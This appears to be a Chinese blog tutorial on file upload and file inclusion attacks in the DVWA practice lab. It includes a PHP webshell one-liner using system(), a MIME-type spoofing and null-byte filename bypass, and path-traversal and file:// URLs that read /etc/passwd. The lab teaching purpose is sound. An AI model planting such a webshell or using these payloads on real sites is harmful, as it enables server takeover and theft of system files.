zoukankan      html  css  js  c++  java
  • Web渗透测试 之 文件上传、文件包含

    文件上传漏洞修复

    1. 文件mime 类型过滤

    2. 文件大小过滤

    3. 文件类型过滤

    4. 获取图像信息检测

    使用dvwa 测试

    1. low级别 没有做过滤可以直接上传php文件。

     

     

    2. 在medium 级别对上传文件的mine 类型进行了白名单过滤,我们可以通过brupsuite 改包实现上传

    修改数据包Content-Type: application/x-php  Content-Type: image/jpeg

     

     

    3. 在 high 级别中 增加了,类型检测,getimagesize获取图像信息检测

    php5.4 以下 可以使用文件名 1.php%00.jpg 进行绕过

    php5.4 以上 需要配置文件包含漏洞进行渗透

     方法一:

    绕过方式,在图片文件后面 追加 恶意代码

    由于无法使用菜刀等,一般该级别可以使用php的 system 函数

    <?php @system($_POST[caibao])?> # 该命令需要使用post 提交数据

    上传之后需要找到文件保存的绝对路径,以及存在的 文件包含漏洞

    方法二:

    使用GIF98A 放在文件首行,声明该文件是图片格式

     

     

     

    文件包含漏洞

    文件包含漏洞是由于php调用本地文件产生的

    low 级别 未设置过滤,可使用file 查看系统任意文件

    使用 相对路径获取数据

    http://192.168.140.131/dvwa/vulnerabilities/fi/?page=../../../../../../etc/passwd

    使用绝对路径获取数据

    http://192.168.140.131/dvwa/vulnerabilities/fi/?page=file:///etc/passwd

     

     

    medium 级别对url 已经 相对路径做了过滤,可以使用file 协议进行绕过(与low 绝对路径方法相同)

     

    high级别 使用白名单过滤只可以访问include.php 以及file 开头的文件,而file协议刚好也是file开头 即可正常绕过

     

    impossible 级别设置了更严谨的白名单

     

  • 相关阅读:
    多环境
    Date的after()与before()方法的使用
    Centos6.8 yum报错及修复YumRepo Error: All mirror URLs are not using ftp, http[s] or file. Eg. Invalid
    JSON格式数据解析看这一个就足够了
    widnows下lua开发环境luadist LuaRocks搭建
    树的相关定义及遍历
    win10 启动redis服务的bat
    PageHelper分页失效的可能原因之一
    el-table多选表头复选框不对齐
    好用的软件推荐
  • 原文地址:https://www.cnblogs.com/change06/p/12840153.html
Copyright © 2011-2022 走看看